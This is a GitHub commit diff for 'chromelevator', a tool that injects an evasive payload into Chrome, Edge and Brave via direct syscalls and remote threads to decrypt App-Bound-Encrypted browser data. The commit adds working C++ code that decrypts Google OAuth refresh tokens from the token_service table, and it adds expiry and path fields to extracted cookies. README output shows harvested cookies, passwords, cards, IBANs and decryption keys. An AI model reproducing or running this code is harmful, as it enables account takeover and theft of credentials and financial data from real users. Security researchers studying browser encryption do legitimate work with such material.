Skip to content

Commit ce55f45

Browse files
committed
v0.17.1
1 parent a1c89d8 commit ce55f45

File tree

9 files changed

+121
-29
lines changed

9 files changed

+121
-29
lines changed

CHANGELOG.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,12 @@
22

33
## 🆕 Changelog
44

5+
### v0.17.1
6+
- **Google Auth Token Extraction**: Added support for extracting Google OAuth2 Refresh Tokens.
7+
- Extracts and decrypts tokens used for Chrome Sync and Google services.
8+
- Outputs to `tokens.json` in the browser profile directory.
9+
- **Cookie Extraction**: Added `expires` timestamp and `path` fields to the cookie extraction output, enabling identification of expired cookies.
10+
511
### v0.17.0
612
- **Full Codebase Refactor**: Completely rewrote the project into a modern, modular C++ architecture.
713
- **Compile-Time Key Derivation**: Eliminated static encryption keys from the binary.

README.md

Lines changed: 46 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
3131

3232
### Core Functionality
3333

34-
- 🔓 Full user-mode decryption of cookies, passwords, payment methods, and IBANs.
34+
- 🔓 Full user-mode decryption of cookies, passwords, payment methods, IBANs, and Google OAuth tokens.
3535
- 📁 Discovers and processes all user profiles (Default, Profile 1, etc.).
3636
- 📝 Exports all extracted data into structured JSON files, organized by profile.
3737
- 🔍 Comprehensive browser fingerprinting with system information.
@@ -76,7 +76,8 @@ This matrix outlines the extraction capabilities for each supported browser.
7676
| **Cookies** | ✅ ABE | ✅ ABE | ✅ ABE |
7777
| **Passwords** | ✅ ABE | ✅ ABE | ✅ ABE |
7878
| **Payment Methods** | ✅ ABE | ✅ ABE | ✅ ABE |
79-
| **IBANs** | ✅ ABE | ✅ ABE | ❌ Not existing |
79+
| **IBANs** | ✅ ABE | ✅ ABE | ❌ N/A |
80+
| **Auth Tokens** | ✅ Google | ❌ N/A | ❌ N/A |
8081

8182
**Encryption Method Notes:**
8283
- **ABE (App-Bound Encryption):** Using AES-256-GCM with browser-specific master keys decrypted via COM interfaces.
@@ -153,7 +154,7 @@ _________ .__ ___________.__ __
153154
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
154155
\/ \/ \/ \/ \/ \/
155156
Direct Syscall-Based Reflective Hollowing
156-
x64 & ARM64 | v0.17.0 by @xaitax
157+
x64 & ARM64 | v0.17.1 by @xaitax
157158

158159
Usage: chromelevator.exe [options] <chrome|edge|brave|all>
159160

@@ -184,27 +185,28 @@ _________ .__ ___________.__ __
184185

185186
```bash
186187
PS> .\chromelevator.exe all
188+
187189
_________ .__ ___________.__ __
188190
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
189191
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
190192
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
191193
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
192194
\/ \/ \/ \/ \/ \/
193195
Direct Syscall-Based Reflective Hollowing
194-
x64 & ARM64 | v0.17.0 by @xaitax
196+
x64 & ARM64 | v0.17.1 by @xaitax
195197
196198
┌──── Brave ──────────────────────────────────────
197199
198200
│ Decryption Key
199201
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
200202
201203
├── Default
202-
│ Cookies 2446/2467
204+
│ Cookies 2439/2460
203205
│ Passwords 46
204206
│ Cards 1
205207
│ IBANs 1
206208
207-
└── 2446 cookies, 46 passwords, 1 cards, 1 IBANs (1 profile)
209+
└── 2439 cookies, 46 passwords, 1 cards, 1 IBANs (1 profile)
208210
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
209211
210212
┌──── Chrome ──────────────────────────────────────
@@ -217,12 +219,13 @@ _________ .__ ___________.__ __
217219
│ Passwords 1
218220
219221
├── Profile 1
220-
│ Cookies 768/773
221-
│ Passwords 2
222+
│ Cookies 815/820
223+
│ Passwords 789
222224
│ Cards 1
223225
│ IBANs 1
226+
│ Tokens 1
224227
225-
└── 1146 cookies, 3 passwords, 1 cards, 1 IBANs (2 profiles)
228+
└── 1193 cookies, 790 passwords, 1 cards, 1 IBANs, 1 tokens (2 profiles)
226229
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
227230
228231
┌──── Edge ──────────────────────────────────────
@@ -231,14 +234,14 @@ _________ .__ ___________.__ __
231234
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
232235
233236
├── Default
234-
│ Cookies 220/222
237+
│ Cookies 214/216
235238
│ Passwords 2
236239
│ Cards 1
237240
238241
├── Profile 1
239-
│ Cookies 42
242+
│ Cookies 25
240243
241-
└── 262 cookies, 2 passwords, 1 cards (2 profiles)
244+
└── 239 cookies, 2 passwords, 1 cards (2 profiles)
242245
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
243246
```
244247
@@ -254,23 +257,23 @@ _________ .__ ___________.__ __
254257
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
255258
\/ \/ \/ \/ \/ \/
256259
Direct Syscall-Based Reflective Hollowing
257-
x64 & ARM64 | v0.17.0 by @xaitax
260+
x64 & ARM64 | v0.17.1 by @xaitax
258261
259262
┌──── Chrome ──────────────────────────────────────
260263
│ Terminating browser network services...
261264
│ [+] Network services terminated
262265
│ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe
263-
│ [+] Process created (PID: 25184)
264-
│ [+] IPC pipe established: \\.\pipe\chrome.nacl.20027_76C4
266+
│ [+] Process created (PID: 13020)
267+
│ [+] IPC pipe established: \\.\pipe\chrome.sync.26370.18285.8B20
265268
│ Deriving runtime decryption keys...
266-
│ [+] Payload decrypted (1044 KB)
267-
│ [+] Bootstrap entry point resolved (offset: 0x2a690)
269+
│ [+] Payload decrypted (1048 KB)
270+
│ [+] Bootstrap entry point resolved (offset: 0x2a790)
268271
│ Allocating memory in target process via syscall...
269-
│ [+] Memory allocated at 0x1c2dec60000 (1048 KB)
272+
│ [+] Memory allocated at 0x2245a600000 (1052 KB)
270273
│ [+] Payload + parameters written
271274
│ [+] Memory protection set to PAGE_EXECUTE_READ
272275
│ Creating remote thread via syscall...
273-
│ [+] Thread created (entry: 0x1c2dec8a690)
276+
│ [+] Thread created (entry: 0x2245a62a790)
274277
│ Awaiting payload connection...
275278
│ [+] Payload connected
276279
│ Running in Chrome
@@ -284,15 +287,16 @@ _________ .__ ___________.__ __
284287
│ Passwords 1
285288
286289
├── Profile 1
287-
│ Size 610 MB
288-
│ Cookies 768/773
289-
│ Passwords 2
290+
│ Size 739 MB
291+
│ Cookies 815/820
292+
│ Passwords 789
290293
│ Cards 1
291294
│ IBANs 1
295+
│ Tokens 1
292296
│ Extracting comprehensive fingerprint...
293297
│ Fingerprint saved to fingerprint.json
294298
295-
└── 1146 cookies, 3 passwords, 1 cards, 1 IBANs (2 profiles)
299+
└── 1193 cookies, 790 passwords, 1 cards, 1 IBANs, 1 tokens (2 profiles)
296300
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
297301
```
298302
@@ -319,11 +323,15 @@ Each cookie file is a JSON array of objects:
319323
{
320324
"host": "accounts.google.com",
321325
"name": "ACCOUNT_CHOOSER",
326+
"path": "/",
327+
"expires": 1766591611,
322328
"value": "AFx_qI781-…"
323329
},
324330
{
325331
"host": "mail.google.com",
326332
"name": "OSID",
333+
"path": "/mail",
334+
"expires": 1766591611,
327335
"value": "g.a000uwj5ufIS…"
328336
},
329337
@@ -375,7 +383,21 @@ Each IBAN file is a JSON array of objects:
375383
]
376384
```
377385
378-
### 🔍 Browser Fingerprinting
386+
### 🎟️ Token Extraction
387+
388+
Each token file is a JSON array of objects containing the service, the decrypted token, and the binding key (if present):
389+
390+
```json
391+
[
392+
{
393+
"service": "AccountId-112823413702122221871",
394+
"token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
395+
"binding_key": ""
396+
}
397+
]
398+
```
399+
400+
### 🔍 Browser Fingerprinting
379401
380402
When using the `--fingerprint` or `-f` flag, a comprehensive metadata report is generated:
381403

src/core/console.hpp

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -115,7 +115,7 @@ namespace Core {
115115
}
116116

117117
// Summary line
118-
void Summary(int cookies, int passwords, int cards, int ibans, int profiles, const std::string& outputPath) const {
118+
void Summary(int cookies, int passwords, int cards, int ibans, int tokens, int profiles, const std::string& outputPath) const {
119119
SetConsoleTextAttribute(m_hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
120120
std::cout << " \xB3" << std::endl;
121121
std::cout << " \xC0\xC4\xC4 ";
@@ -126,6 +126,7 @@ namespace Core {
126126
if (passwords > 0) parts.push_back(std::to_string(passwords) + " passwords");
127127
if (cards > 0) parts.push_back(std::to_string(cards) + " cards");
128128
if (ibans > 0) parts.push_back(std::to_string(ibans) + " IBANs");
129+
if (tokens > 0) parts.push_back(std::to_string(tokens) + " tokens");
129130

130131
for (size_t i = 0; i < parts.size(); i++) {
131132
std::cout << parts[i];

src/core/version.hpp

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,9 @@
66
namespace Core {
77

88
// Main version string - shown in banner
9-
constexpr const char* VERSION = "0.17.0";
9+
constexpr const char* VERSION = "0.17.1";
1010

1111
// Full version for build identification (update for releases)
12-
constexpr const char* BUILD_TAG = "v0.17.0";
12+
constexpr const char* BUILD_TAG = "v0.17.1";
1313

1414
}

src/injector/injector_main.cpp

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -47,8 +47,8 @@ void ProcessBrowser(const BrowserInfo& browser, bool verbose, bool fingerprint,
4747
pipe.ProcessMessages(verbose);
4848

4949
auto pStats = pipe.GetStats();
50-
if (pStats.cookies > 0 || pStats.passwords > 0 || pStats.cards > 0 || pStats.ibans > 0) {
51-
console.Summary(pStats.cookies, pStats.passwords, pStats.cards, pStats.ibans,
50+
if (pStats.cookies > 0 || pStats.passwords > 0 || pStats.cards > 0 || pStats.ibans > 0 || pStats.tokens > 0) {
51+
console.Summary(pStats.cookies, pStats.passwords, pStats.cards, pStats.ibans, pStats.tokens,
5252
pStats.profiles, (output / browser.displayName).string());
5353
stats.successful++;
5454
} else {

src/injector/pipe_server.cpp

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -123,6 +123,11 @@ namespace Injector {
123123
m_stats.ibans += count;
124124
console.ExtractionResult("IBANs", count);
125125
}
126+
else if (msg.rfind("TOKENS:", 0) == 0) {
127+
int count = std::stoi(msg.substr(7));
128+
m_stats.tokens += count;
129+
console.ExtractionResult("Tokens", count);
130+
}
126131
else if (msg.rfind("DATA:", 0) == 0) {
127132
std::string data = msg.substr(5);
128133
size_t sep = data.find('|');

src/injector/pipe_server.hpp

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@ namespace Injector {
1616
int passwords = 0;
1717
int cards = 0;
1818
int ibans = 0;
19+
int tokens = 0;
1920
int profiles = 0;
2021
};
2122

src/payload/data_extractor.cpp

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,7 @@ namespace Payload {
6363
if (auto db = OpenDatabase(webDataPath)) {
6464
ExtractCards(db, m_outputBase / browserName / profilePath.filename() / "cards.json");
6565
ExtractIBANs(db, m_outputBase / browserName / profilePath.filename() / "iban.json");
66+
ExtractTokens(db, m_outputBase / browserName / profilePath.filename() / "tokens.json");
6667
sqlite3_close(db);
6768
}
6869
}
@@ -92,6 +93,8 @@ namespace Payload {
9293
std::stringstream ss;
9394
ss << "{\"host\":\"" << EscapeJson((char*)sqlite3_column_text(stmt, 0)) << "\","
9495
<< "\"name\":\"" << EscapeJson((char*)sqlite3_column_text(stmt, 1)) << "\","
96+
<< "\"path\":\"" << EscapeJson((char*)sqlite3_column_text(stmt, 2)) << "\","
97+
<< "\"expires\":" << sqlite3_column_int64(stmt, 5) << ","
9598
<< "\"value\":\"" << EscapeJson(val) << "\"}";
9699
entries.push_back(ss.str());
97100
}
@@ -240,6 +243,59 @@ namespace Payload {
240243
}
241244
}
242245

246+
void DataExtractor::ExtractTokens(sqlite3* db, const std::filesystem::path& outFile) {
247+
sqlite3_stmt* stmt;
248+
bool hasBindingKey = true;
249+
250+
if (sqlite3_prepare_v2(db, "SELECT service, encrypted_token, binding_key FROM token_service", -1, &stmt, nullptr) != SQLITE_OK) {
251+
hasBindingKey = false;
252+
if (sqlite3_prepare_v2(db, "SELECT service, encrypted_token FROM token_service", -1, &stmt, nullptr) != SQLITE_OK) return;
253+
}
254+
255+
std::vector<std::string> entries;
256+
while (sqlite3_step(stmt) == SQLITE_ROW) {
257+
const void* blob = sqlite3_column_blob(stmt, 1);
258+
int len = sqlite3_column_bytes(stmt, 1);
259+
260+
if (blob && len > 0) {
261+
std::vector<uint8_t> enc((uint8_t*)blob, (uint8_t*)blob + len);
262+
auto dec = Crypto::AesGcm::Decrypt(m_key, enc);
263+
if (dec) {
264+
std::string val((char*)dec->data(), dec->size());
265+
std::string bindingKey = "";
266+
267+
if (hasBindingKey) {
268+
const void* bKeyBlob = sqlite3_column_blob(stmt, 2);
269+
int bKeyLen = sqlite3_column_bytes(stmt, 2);
270+
if (bKeyBlob && bKeyLen > 0) {
271+
std::vector<uint8_t> encKey((uint8_t*)bKeyBlob, (uint8_t*)bKeyBlob + bKeyLen);
272+
auto decKey = Crypto::AesGcm::Decrypt(m_key, encKey);
273+
if (decKey) {
274+
bindingKey = std::string((char*)decKey->data(), decKey->size());
275+
}
276+
}
277+
}
278+
279+
std::stringstream ss;
280+
ss << "{\"service\":\"" << EscapeJson((char*)sqlite3_column_text(stmt, 0)) << "\","
281+
<< "\"token\":\"" << EscapeJson(val) << "\","
282+
<< "\"binding_key\":\"" << EscapeJson(bindingKey) << "\"}";
283+
entries.push_back(ss.str());
284+
}
285+
}
286+
}
287+
sqlite3_finalize(stmt);
288+
289+
if (!entries.empty()) {
290+
std::filesystem::create_directories(outFile.parent_path());
291+
std::ofstream out(outFile);
292+
out << "[\n";
293+
for (size_t i = 0; i < entries.size(); ++i) out << entries[i] << (i < entries.size() - 1 ? ",\n" : "\n");
294+
out << "]";
295+
m_pipe.Log("TOKENS:" + std::to_string(entries.size()));
296+
}
297+
}
298+
243299
std::string DataExtractor::EscapeJson(const std::string& s) {
244300
std::ostringstream o;
245301
for (char c : s) {

src/payload/data_extractor.hpp

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@ namespace Payload {
2424
void ExtractPasswords(sqlite3* db, const std::filesystem::path& outFile);
2525
void ExtractCards(sqlite3* db, const std::filesystem::path& outFile);
2626
void ExtractIBANs(sqlite3* db, const std::filesystem::path& outFile);
27+
void ExtractTokens(sqlite3* db, const std::filesystem::path& outFile);
2728

2829
std::string EscapeJson(const std::string& s);
2930

0 commit comments

Comments
 (0)